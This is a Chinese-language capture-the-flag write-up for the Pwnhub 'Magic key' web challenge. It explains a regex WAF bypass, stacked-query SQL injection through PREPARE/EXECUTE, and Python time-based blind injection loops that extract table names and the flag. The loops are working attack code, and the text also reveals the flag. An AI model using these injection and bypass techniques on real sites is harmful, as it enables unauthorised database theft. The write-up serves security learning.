Pwnhub--Magic key Writeup

好久没搞Web了,没想到还能刚的动😁

题目给了源码,就两个文件,代码也很简单,就是想办法绕过waf函数,进行SQL注入。

环境也很容易搭建,docker pull一个ubuntu 14.04,然后直接apt装php,apache和mysql就好了。

考点1

1
2
3
4
$sql="desc `acg_{$v}`";
if (!$conn->query($sql)){
die('no such table');
}

在进行sql查询之前,先用desc检查一下。

通过Google搜到了一篇文章:https://www.jianshu.com/p/fcc9deeddceb

可以用反引号来bypass。正好反引号并没有被waf函数过滤。

考点2

1
2
$con = "mysql:host=localhost;port=3306;dbname=acg"; 
$conn = new PDO($con, 'root', 'nihao123');

本题数据库用的是PDO,所以考虑存在堆叠注入的可能性。并且waf函数中:

1
2
3
4
5
6
7
function waf($s)
{

if (preg_match("/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*|-|do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i",$s)!=false||strlen($s)>10000)
die();
return $s;
}

过滤了prepare..execute,都可以使用prepare%0a%0aexecute进行绕过。这两个函数为预处理函数。所以猜测本题是使用堆叠注入预处理。

Google了一下预处理的使用方法:https://dev.mysql.com/doc/refman/5.7/en/sql-prepared-statements.html

发现prepare有两种使用方式:

1
2
3
> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
> SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
> PREPARE stmt2 FROM @s;

preparable_stmt可以是字符串或者变量。

因为字符串需要单引号和SELECT这类的字符串,但是都被waf过滤了,也找不到绕过的方法。

所以只能考虑在变量上做文章,因为设置变量可以使用hex。

但是设置变量我只知道一个SET,也被过滤了。

随后又继续Google,搜到了这篇文章:https://blog.csdn.net/JesseYoung/article/details/40779631

发现可以使用select @a:=1来设置变量。接着就尝试能不能在where语句后面使用这个语句来设置变量:select * from xxx where @abc:=1

测试成功,到此,整个题的思路就通了。

没找到能回显的方法,所以只能进行盲注了:

  1. 获取数据库的数量
1
2
3
4
5
6
7
8
9
10
11
>>> data = {'v': '', 'i': '123'}
>>> for x in range(2, 10):
... poc = b"select count(*)=%d or sleep(2) from information_schema.SCHEMATA"%x
... data["v"] = payload.format(poc.hex())
... try:
... r = requests.post(url, data=data, timeout=2)
... except:
... continue
... print("ok", x)
... break
ok 4

只有4个数据库,所以用户数据库只有acg一个。所以flag应该就在这个数据库里。

  1. 获取表的数量
1
2
3
4
5
6
7
8
9
10
>>> for x in range(2, 10):
... poc = b"select count(*)=%d or sleep(2) from information_schema.TABLES where TABLE_SCHEMA='acg'"%x
... data["v"] = payload.format(poc.hex())
... try:
... r = requests.post(url, data=data, timeout=2)
... except:
... continue
... print("ok", x)
... break
ok 3

除了acg_animeacg_character,剩下那一个应该就是flag的表了。

  1. 获取flag表名的长度:
1
2
3
4
5
6
7
8
9
10
>>> for x in range(5, 20):
... poc = b"select length(TABLE_NAME)=%d or sleep(2) from information_schema.TABLES where TABLE_SCHEMA='acg' limit 2,3"%(x)
... data["v"] = payload.format(poc.hex())
... try:
... r = requests.post(url, data=data, timeout=2)
... except:
... continue
... print("ok", x)
... break
ok 16
  1. 爆破表名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>>> test = b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}"
>>> cc = b""
... for x in range(6, 17):
... for y in range(len(test)):
... poc = b"select left(TABLE_NAME, %d)='acg_f%s' or sleep(1) from information_schema.TABLES where TABLE_SCHEMA='acg' limi
... t 2,3"%(x, cc + test[y:y+1])
... print(poc)
... data["v"] = payload.format(poc.hex())
... try:
... r = requests.post(url, data=data, timeout=1)
... except:
... continue
... cc += test[y:y+1]
... break
... else:
... print(x, "false")
... break
... print(x, test[y:y+1])

......

b"select left(TABLE_NAME, 16)='acg_fff5lll1ll@g' or sleep(1) from information_schema.TABLES where TABLE_SCHEMA='acg' limit 2,3"
16 b'g'

得到flag的表名为:acg_fff5lll1ll@g

  1. 获取flag表的列的数量
1
2
3
4
5
6
7
8
9
10
>>> for x in range(1, 10):
... poc = b"select count(*)=%d or sleep(1) from information_schema.COLUMNS where TABLE_NAME='acg_fff5lll1ll@g'"
... data["v"] = payload.format(poc.hex())
... try:
... r = requests.post(url, data=data, timeout=1)
... except:
... continue
... print("ok", x)
... break
ok 1
  1. 列名我就没爆破了,直接猜flag,验证一下,正确。
  2. 获取flag长度
1
2
3
4
5
6
7
8
9
10
>>> for x in range(10, 40):
... poc = b"select length(flag)=%d or sleep(1) from `acg_fff5lll1ll@g` limit 1"%x
... data["v"] = payload.format(poc.hex())
... try:
... r = requests.post(url, data=data, timeout=1)
... except:
... continue
... print("ok", x)
... break
ok 38
  1. 爆破flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
>>> cc = b""
... for x in range(6, 39):
... for y in range(len(test)):
... poc = b"select left(flag, %d)='flag{%s' or sleep(1) from `acg_fff5lll1ll@g` limit 1"%(x, cc + test[y:y+1])
... print(poc)
... data["v"] = payload.format(poc.hex())
... try:
... r = requests.post(url, data=data, timeout=1)
... except:
... continue
... cc += test[y:y+1]
... break
... else:
... print(x, "false")
... break
... print(x, test[y:y+1])

......

b"select left(flag, 38)='flag{f4bfcf18cca9e26164dbd96a62a4eea8}' or sleep(1) from `acg_fff5lll1ll@g` limit 1"
38 b'}'

得到flag:flag{f4bfcf18cca9e26164dbd96a62a4eea8}

文章目录
  1. 1. 考点1
  2. 2. 考点2